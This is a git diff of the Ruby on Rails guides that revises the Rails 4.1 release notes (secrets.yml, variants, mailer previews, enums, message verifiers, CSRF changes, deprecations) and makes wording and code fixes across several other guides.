+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
-* Expose MiddlewareStack#unshift to environment configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+```yaml
+development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ some_api_key: SOMEKEY
+```
-Action Mailer
--------------
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
-Please refer to the
-[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
-for detailed changes.
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
-### Notable changes
+### Action Pack Variants
-* Instrument the generation of Action Mailer messages. The time it takes to
- generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
-Active Model
-------------
+You can set the variant in a `before_action`:
-Please refer to the
-[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
-for detailed changes.
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
-### Deprecations
+Respond to variants in the action just like you respond to formats:
-* Deprecate `Validator#setup`. This should be done manually now in the
- validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+```ruby
+respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+end
+```
-### Notable changes
+Provide separate templates for each format and variant:
-* Added new API methods `reset_changes` and `changes_applied` to
- `ActiveModel::Dirty` that control changes state.
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+You can also simplify the variants definition using the inline syntax:
-Active Support
---------------
+```ruby
+respond_to do |format|
+ format.js { render "trash" }
+ format.html.phone { redirect_to progress_path }
+ format.html.none { render "trash" }
+end
+```
-Please refer to the
-[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
-for detailed changes.
+### Action Mailer Previews
+Action Mailer previews provide a way to visually see how emails look by visiting
+a special URL that renders them.
-### Removals
+You implement a preview class whose methods return the mail object you'd like
+to check:
-* Remove deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+```ruby
+class NotifierPreview < ActionMailer::Preview
+ def welcome
+ Notifier.welcome(User.first)
+ end
+end
+```
-* Remove deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
-* Remove deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_fromat`.
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
-* Remove deprecated `Logger` core extensions (`core_ext/logger.rb`).
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html)
+for a detailed write up.
-* Remove deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
- `Time#local_time` in favor of `Time#utc` and `Time#local`.
+### Active Record enums
-* Remove deprecated `Hash#diff` with no replacement.
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
-* Remove deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+```ruby
+class Conversation < ActiveRecord::Base
+ enum status: [ :active, :archived ]
+end
-* Remove deprecated `Proc#bind` with no replacement.
+conversation.archived!
+conversation.active? # => false
+conversation.status # => "archived"
-* Remove deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
- `Array#uniq` and `Array#uniq!` instead.
+Conversation.archived # => Relation for all archived Conversations
+```
-* Remove deprecated `ActiveSupport::BasicObject`, use
- `ActiveSupport::ProxyObject` instead.
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
-* Remove deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+### Message Verifiers
-* Remove deprecated `assert_present` and `assert_blank` methods, use `assert
- object.blank?` and `assert object.present?` instead.
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
-### Deprecations
+The method `Rails.application.message_verifier` returns a new message verifier
+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
-* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
- explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
- ([Pull Request](https://github.com/rails/rails/pull/12389))
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+ concerning :EventTracking do
+ included do
+ has_many :events
+ end
+
+ def latest_event
+ ...
+ end
+
+ private
+ def some_internal_method
+ ...
+ end
+ end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+ `rake test:recent`.
### Notable changes
-* Add `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
-methods change current time to the given time or time difference by stubbing
-`Time.now` and
-`Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824))
+* The [Spring application
+ preloader](https://github.com/jonleighton/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in
+ production. ([Pull Request](https://github.com/rails/rails/pull/12958))
-* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
- them to JavaScript functions like
- `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+ failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
-* Add `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
- methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
- `at_middle_of_day` as
- aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+* Exposed `MiddlewareStack#unshift` to environment
+ configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
-* Add `String#remove(pattern)` as a short-hand for the common pattern of
- `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+* Add `Application#message_verifier` method to return a message
+ verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
-* Remove 'cow' => 'kine' irregular inflection from default
- inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+* The `test_help.rb` file which is required by the default generated test
+ helper will automatically keep your test database up-to-date with
+ `db/schema.rb` (or `db/structure.sql`). It raises an error if
+ reloading the schema does not resolve all pending migrations. Opt out
+ with `config.active_record.maintain_test_schema = false`. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
Action Pack
-----------
@@ -169,34 +297,55 @@ for detailed changes.
### Removals
-* Remove deprecated Rails application fallback for integration testing, set
- `ActionDispatch.test_app` instead.
+* Removed deprecated Rails application fallback for integration testing, set
+ `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
-* Remove deprecated `page_cache_extension` config.
+* Removed deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
-* Remove deprecated constants from Action Controller:
+* Removed deprecated constants from Action Controller:
- ActionController::AbstractRequest => ActionDispatch::Request
- ActionController::Request => ActionDispatch::Request
- ActionController::AbstractResponse => ActionDispatch::Response
- ActionController::Response => ActionDispatch::Response
- ActionController::Routing => ActionDispatch::Routing
- ActionController::Integration => ActionDispatch::Integration
- ActionController::IntegrationTest => ActionDispatch::IntegrationTest
+ | Removed | Successor |
+ |:-----------------------------------|:--------------------------------|
+ | ActionController::AbstractRequest | ActionDispatch::Request |
+ | ActionController::Request | ActionDispatch::Request |
+ | ActionController::AbstractResponse | ActionDispatch::Response |
+ | ActionController::Response | ActionDispatch::Response |
+ | ActionController::Routing | ActionDispatch::Routing |
+ | ActionController::Integration | ActionDispatch::Integration |
+ | ActionController::IntegrationTest | ActionDispatch::IntegrationTest |
### Notable changes
-* Take a hash with options inside array in
- `#url_for`. ([Pull Request](https://github.com/rails/rails/pull/9599))
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+ Update your tests to use `xhr :get, :foo, format: :js` instead of
+ `get :foo, format: :js`.
+ ([Pull Request](https://github.com/rails/rails/pull/13345))
-* Add `session#fetch` method fetch behaves similarly to
+* `#url_for` takes a hash with options inside an
+ array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
[Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
with the exception that the returned value is always saved into the
session. ([Pull Request](https://github.com/rails/rails/pull/12692))
-* Separate Action View completely from Action
+* Separated Action View completely from Action
Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+ generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
Active Record
-------------
@@ -207,89 +356,86 @@ for detailed changes.
### Removals
-* Remove deprecated nil-passing to the following `SchemaCache` methods:
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
`primary_keys`, `tables`, `columns` and `columns_hash`.
-* Remove deprecated block filter from `ActiveRecord::Migrator#migrate`.
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
-* Remove deprecated String constructor from `ActiveRecord::Migrator`.
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
-* Remove deprecated `scope` use without passing a callable object.
+* Removed deprecated `scope` use without passing a callable object.
-* Remove deprecated `transaction_joinable=` in favor of `begin_transaction`
- with `:joinable` option.
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+ with `d:joinable` option.
-* Remove deprecated `decrement_open_transactions`.
+* Removed deprecated `decrement_open_transactions`.
-* Remove deprecated `increment_open_transactions`.
+* Removed deprecated `increment_open_transactions`.
-* Remove deprecated `PostgreSQLAdapter#outside_transaction?`
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
method. You can use `#transaction_open?` instead.
-* Remove deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
`ActiveRecord::Fixtures.default_fixture_model_name`.
* Removed deprecated `columns_for_remove` from `SchemaStatements`.
-* Remove deprecated `SchemaStatements#distinct`.
+* Removed deprecated `SchemaStatements#distinct`.
-* Move deprecated `ActiveRecord::TestCase` into the rails test
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
suite. The class is no longer public and is only used for internal
Rails tests.
* Removed support for deprecated option `:restrict` for `:dependent`
in associations.
-* Removed support for deprecated `delete_sql` in associations.
-
-* Removed support for deprecated `insert_sql` in associations.
-
-* Removed support for deprecated `finder_sql` in associations.
-
-* Removed support for deprecated `counter_sql` in associations.
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+ and `:counter_sql` options in associations.
* Removed deprecated method `type_cast_code` from Column.
-* Removed deprecated options `delete_sql` and `insert_sql` from HABTM
- association.
-
-* Removed deprecated options `finder_sql` and `counter_sql` from
- collection association.
-
-* Remove deprecated `ActiveRecord::Base#connection` method.
+* Removed deprecated `ActiveRecord::Base#connection` method.
Make sure to access it via the class.
-* Remove deprecation warning for `auto_explain_threshold_in_seconds`.
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
-* Remove deprecated `:distinct` option from `Relation#count`.
+* Removed deprecated `:distinct` option from `Relation#count`.
* Removed deprecated methods `partial_updates`, `partial_updates?` and
`partial_updates=`.
-* Removed deprecated method `scoped`
+* Removed deprecated method `scoped`.
-* Removed deprecated method `default_scopes?`
+* Removed deprecated method `default_scopes?`.
* Remove implicit join references that were deprecated in 4.0.
-* Remove `activerecord-deprecated_finders` as a dependency
+* Removed `activerecord-deprecated_finders` as a dependency.
-* Usage of `implicit_readonly` is being removed`. Please use `readonly` method
+* Removed usage of `implicit_readonly`. Please use `readonly` method
explicitly to mark records as
- `readonly. ([Pull Request](https://github.com/rails/rails/pull/10769))
+ `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
### Deprecations
-* Deprecate `quoted_locking_column` method, which isn't used anywhere.
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
-* Deprecate the delegation of Array bang methods for associations.
+* Deprecated the delegation of Array bang methods for associations.
To use them, instead first call `#to_a` on the association to access the
array to be acted
on. ([Pull Request](https://github.com/rails/rails/pull/12129))
-* Deprecate `ConnectionAdapters::SchemaStatements#distinct`,
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+* Deprecated `rake db:test:*` tasks as the test database is now
+ automatically maintained. See railties release notes. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+ and `ActiveRecord::Base.symbolized_sti_name` without
+ replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
### Notable changes
* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
@@ -308,7 +454,7 @@ for detailed changes.
* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
-* Extend `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
@@ -337,7 +483,7 @@ for detailed changes.
connection. This means that calling `inspect`, when the database is missing,
will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
-* Remove column restrictions for `count`, let the database raise if the SQL is
+* Removed column restrictions for `count`, let the database raise if the SQL is
invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
* Rails now automatically detects inverse associations. If you do not set the
@@ -348,6 +494,131 @@ for detailed changes.
ActiveRecord will now translate aliased attribute names to the actual column
name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on modules
+ included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified explicitly.
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+ validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+ `ActiveModel::Dirty` that control changes state.
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+ no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+ JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+ `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
+* Removed deprecated `Proc#bind` with no replacement.
+
+* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+ `Array#uniq` and `Array#uniq!` instead.
+
+* Removed deprecated `ActiveSupport::BasicObject`, use
+ `ActiveSupport::ProxyObject` instead.
+
+* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
+
+* Removed deprecated `assert_present` and `assert_blank` methods, use `assert
+ object.blank?` and `assert object.present?` instead.
+
+### Deprecations
+
+* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to
+ explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+ ([Pull Request](https://github.com/rails/rails/pull/12389))
+
+* Deprecated the require path `active_support/core_ext/object/to_json`. Require
+ `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))
+
+* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature
+ has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12785) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has
+ been extracetd into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Pull Request](https://github.com/rails/rails/pull/13060) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+### Notable changes
+
+* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the
+ JSON gem rather than doing custom encoding in pure-Ruby.
+ ([Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Improved compatibility with the JSON gem.
+ ([Pull Request](https://github.com/rails/rails/pull/12862) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These
+ methods change current time to the given time or time difference by stubbing
+ `Time.now` and
+ `Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824))
+
+* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed
+ them to JavaScript functions like
+ `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))
+
+* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day`
+ methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and
+ `at_middle_of_day` as
+ aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))
+
+* Added `String#remove(pattern)` as a short-hand for the common pattern of
+ `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))
+
+* Removed 'cow' => 'kine' irregular inflection from default
+ inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))
+
Credits
-------
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 93c177905c..27c53689c4 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -15,7 +15,7 @@
</p>
<% end %>
<p>
- The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.15/">http://guides.rubyonrails.org/v3.2.15/</a>.
+ The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.16/">http://guides.rubyonrails.org/v3.2.16/</a>.
</p>
<p>
The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 4252b5ee9a..f394daa6aa 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -665,14 +665,17 @@ The first is to use a block directly with the *_action methods. The block receiv
```ruby
class ApplicationController < ActionController::Base
before_action do |controller|
- redirect_to new_login_url unless controller.send(:logged_in?)
+ unless controller.send(:logged_in?)
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url
+ end
end
end
```
Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
```ruby
class ApplicationController < ActionController::Base
@@ -682,7 +685,7 @@ end
class LoginFilter
def self.filter(controller)
unless controller.send(:logged_in?)
- controller.flash[:error] = "You must be logged in"
+ controller.flash[:error] = "You must be logged in to access this section"
controller.redirect_to controller.new_login_url
end
end
@@ -794,7 +797,7 @@ class AdminsController < ApplicationController
end
```
-With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
### HTTP Digest Authentication
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index d19dd11181..6a355a5177 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
```erb
-<%= render @products, spacer_template: "product_ruler" %>
+<%= render partial: @products, spacer_template: "product_ruler" %>
```
Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
@@ -464,7 +464,7 @@ stylesheet_link_tag :monkey # =>
#### auto_discovery_link_tag
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
@@ -1143,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world.
#### country_select
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
#### option_groups_from_collection_for_select
@@ -1242,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world.
#### time_zone_select
-Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
```ruby
time_zone_select( "user", "time_zone")
@@ -1258,7 +1258,7 @@ date_field("user", "dob")
### FormTagHelper
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
#### check_box_tag
@@ -1285,7 +1285,7 @@ Creates a field set for grouping HTML form elements.
Creates a file upload field.
```html+erb
-<%= form_tag {action: "post"}, {multipart: true} do %>
+<%= form_tag({action:"post"}, multipart: true) do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>
@@ -1591,7 +1591,7 @@ Localized Views
Action View has the ability render different templates depending on the current locale.
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index 863da3be72..667433285f 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -55,7 +55,7 @@ class User < ActiveRecord::Base
end
```
-Callbacks can also be registered to only fire on certain lifecycle events:
+Callbacks can also be registered to only fire on certain life cycle events:
```ruby
class User < ActiveRecord::Base
@@ -141,6 +141,55 @@ You have initialized an object!
=> #<User id: 1>
```
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ActiveRecord::Base
+ after_touch do |user|
+ puts "You have touched an object"
+ end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ActiveRecord::Base
+ belongs_to :company, touch: true
+ after_touch do
+ puts 'An Employee was touched'
+ end
+end
+
+class Company < ActiveRecord::Base
+ has_many :employees
+ after_touch :log_when_employees_or_company_touched
+
+ private
+ def log_when_employees_or_company_touched
+ puts 'Employee/Company was touched'
+ end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
Running Callbacks
-----------------
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 94b8453f04..4725e2c8a2 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -436,7 +436,7 @@ to this code:
Client.where("orders_count = #{params[:orders]}")
```
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index cbd1ac9bdf..efa826e8df 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object.
```ruby
class Account < ActiveRecord::Base
validates :subdomain, exclusion: { in: %w(www us ca jp),
- message: "Subdomain %{value} is reserved." }
+ message: "%{value} is reserved." }
end
```
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 452ddf01eb..59dfefd22f 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -424,7 +424,7 @@ NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
### JSON support
-Active Support provides a better implementation of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+, +OrderedHash+, and +Process::Status+ need special handling in order to provide a proper JSON representation.
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
